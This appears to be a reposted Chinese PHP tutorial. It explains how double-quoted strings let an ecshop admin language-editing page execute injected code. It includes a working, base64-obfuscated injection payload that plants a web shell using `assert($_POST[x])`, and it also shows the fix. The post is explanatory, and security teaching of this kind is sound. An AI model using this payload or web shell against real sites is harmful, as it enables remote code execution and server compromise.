PHP开发实例大全(提高卷) 中文完整pdf扫描版[244MB]
测试:
单引号 | 双引号 |
$name = 'hello'; 会输出 the hello | $name = 'hello'; 会输出 the $name |
在php开发中对单引号和双引号的区别使用意义很大,可是大家开发中对这个很忽略,如果改使用单引号的地方,使用双引号的话,容易引起恶意攻击,插入任意恶意代码
下面以ecshop中的一个漏洞为例
一、登陆后台->进入到此页面http://127.0.0.1/shop/admin/edit_languages.php,效果图如下
二、修改“用户信息“为
用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}
结果是:修改了/languages/zh_cn/user.php这个脚本中的
修改之后的结果是:
$_LANG['label_profile'] = "用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}";
结果分析:
是否发现修改之后的$_LANG['label_profile']的值是被双引号包围,修改之前的是单引号,由于这里是双引号,而且里面有变量,所以当被调用到时,里面的变量会执行,由于是双引号,所以只要在任意的php文件中引用这个变量,代码就会成功执行,执行http://127.0.0.1/ecshop/user.php 机会执行上述代码,结果是在ecshop根目录生成了文件JoyChou.php |
JoyChou.php里面的代码:
<?php assert($_POST[x]); ?>
修改办法:
修改\admin\edit_languages.php // 修复前 $dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";'; // 修复后,由于想在单引号之间出现单引号,必须使用转义。 $dst_items[$i] = $_POST['item_id'][$i] .' = '. '\'' .$_POST['item_content'][$i]. '\';'; 把双引号修改为单引号 结果在执行http://127.0.0.1/ecshop/user.php 发现不会生成JoyChou.php |
小结:通过这个可以发现区别使用单引号</a>和双引号的重要意义,至于生成的JoyChou.php这个文件有什么作用自己研究一下,到时黑客可以生成执行各种攻击的脚步代码
转载请注明:谷谷点程序 » php中双引号和单引号的区别